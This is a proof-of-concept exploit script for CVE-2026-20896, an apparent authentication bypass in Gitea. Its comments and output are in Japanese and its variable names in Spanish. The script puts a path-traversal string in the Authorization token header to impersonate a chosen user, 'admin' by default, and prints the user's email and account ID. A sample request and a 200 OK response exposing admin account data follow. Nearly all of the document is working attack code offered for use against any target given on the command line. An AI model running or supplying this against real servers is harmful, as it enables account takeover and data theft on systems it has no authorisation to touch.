CVE-2026-20896

#!/usr/bin/env python3
# PoC: Gitea 認証バイパス (CVE-2026-20896)
# 管理された環境および認定監査 (CTF) 専用

import requests
import sys
import argparse

def expone_bypass(target_ip, username):
    print(f"[*] Giteaサーバーに対する攻撃を開始: {target_ip}")
    
    # 脆弱なAPIエンドポイントのURL
    url = f"http://{target_ip}/api/v1/user"
    
    # ルートのロジック欠陥を利用した回避ペイロードの構築
    # サーバーがトークンのパスを誤って連結し、対象プロファイルにジャンプできる
    payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
    
    cabeceras = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
        "Authorization": f"token {payload_token}",
        "Accept": "application/json"
    }
    
    try:
        # 悪意のあるHTTPリクエストを送信
        respuesta = requests.get(url, headers=cabeceras, timeout=10)
        
        # サーバーが200 OKで応答した場合、回避は成功
        if respuesta.status_code == 200:
            print("[+] \033[92m脆弱性の悪用に成功しました！\033[0m")
            datos_usuario = respuesta.json()
            print(f"[+] ユーザーセッションを乗っ取り: {datos_usuario.get('username')}")
            print(f"[+] 関連メール: {datos_usuario.get('email')}")
            print(f"[+] データベース内のアカウントID: {datos_usuario.get('id')}")
            return True
        else:
            print(f"[-] サーバーがコード: {respuesta.status_code} で応答しました")
            print("[-] バイパス試行が拒否されました。またはパッチが適用されています。")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] ターゲットへの接続エラー: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea バイパス")
    parser.add_argument("-t", "--target", required=True, help="GiteaサーバーのIPまたはドメイン")
    parser.add_argument("-u", "--user", default="admin", help="なりすます対象ユーザー (デフォルト: admin)")
    
    args = parser.parse_args()
    expone_bypass(args.target, args.user)

GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close

HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN

{
  "id": 1,
  "username": "admin",
  "login": "admin",
  "full_name": "Administrador del Sistema",
  "email": "[email protected]",
  "avatar_url": "http://192.168.0",
  "is_admin": true,
  "last_login": "2026-07-01T15:22:01Z"
}